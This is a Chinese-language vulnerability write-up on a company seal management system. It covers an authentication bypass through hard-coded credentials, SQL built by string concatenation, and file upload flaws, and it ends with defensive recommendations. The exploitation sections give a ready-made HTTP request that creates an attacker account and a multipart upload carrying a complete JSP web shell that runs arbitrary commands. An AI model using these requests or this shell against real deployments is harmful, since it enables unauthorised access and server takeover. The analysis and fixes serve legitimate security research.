某管家公章管理系统审计记录
字数 968 2025-09-01 11:26:17
某管家公章管理系统安全审计与漏洞分析
系统概述
某管家公章管理系统存在多个安全漏洞,包括认证绕过和文件上传漏洞,可能导致未授权用户创建账户并获取系统权限。
漏洞分析
1. 用户创建接口认证绕过
漏洞路径
/userCreate路由
漏洞详情
-
认证检查:
- 系统通过
checkUnamePass方法进行认证 - 要求
bimRemoteUser为ZGJ - 要求
bimRemotePwd为123456
- 系统通过
-
SQL查询条件:
String sql = "select * from department where orgId = '" + orgId + "'";- 需要传入有效的
orgId使departmentList不为空
- 需要传入有效的
-
用户创建流程:
- 认证通过后可直接创建新用户
利用方法
-
首先获取有效的
orgId:- 通过另一个未授权接口获取系统中存在的
orgId
- 通过另一个未授权接口获取系统中存在的
-
使用获取的
orgId构造请求创建用户:POST /userCreate HTTP/1.1 Host: target.com Content-Type: application/json { "bimRemoteUser": "ZGJ", "bimRemotePwd": "123456", "orgId": "获取到的有效orgId", "username": "attacker", "password": "hacked123" } -
使用创建的用户凭据登录系统
2. 文件上传漏洞
系统存在多个文件上传点,可被用于获取WebShell。
漏洞点1: Logo上传
-
上传处理:
- 使用
Base64StrToImage.base64MutipartFile方法 - 将Base64编码的图像字符串转换为
MultipartFile对象
- 使用
-
上传格式:
data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAA... -
返回信息:
- 上传成功后返回文件具体路径
-
利用方法:
- 构造恶意Base64编码的JSP文件上传
- 访问返回的路径执行WebShell
漏洞点2: 通用文件上传
-
可控参数:
moudleDir: 控制上传目录- 最终路径格式:
/[moudleDir]/年/年-月/年-月-日/
-
文件命名:
- 使用UUID格式:
eca21ae6-61c3-4fd7-9903-93d7a0eb2166 - 需要爆破文件名
- 使用UUID格式:
-
利用方法:
POST /uploadFileWeb HTTP/1.1 Host: target.com Content-Type: multipart/form-data --boundary Content-Disposition: form-data; name="moudleDir" /data/upload/ --boundary Content-Disposition: form-data; name="file"; filename="shell.jsp" <%@page import="java.util.*,java.io.*"%> <% if(request.getParameter("cmd")!=null){ Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while(disr!=null){ out.println(disr); disr=dis.readLine(); } } %> --boundary--
防御建议
-
认证绕过修复:
- 实现严格的认证机制
- 不要使用硬编码凭据
- 对敏感操作实施多因素认证
-
SQL注入防护:
- 使用参数化查询
- 实施最小权限原则
-
文件上传安全:
- 验证文件类型和内容
- 限制上传目录不可执行
- 随机化文件名并记录上传日志
- 对上传文件进行病毒扫描
-
系统加固:
- 定期安全审计
- 更新依赖库
- 实施WAF防护
总结
该公章管理系统存在严重的安全隐患,攻击者可利用认证绕过漏洞创建管理员账户,再通过文件上传漏洞获取服务器控制权。建议立即修复这些漏洞并加强系统安全防护措施。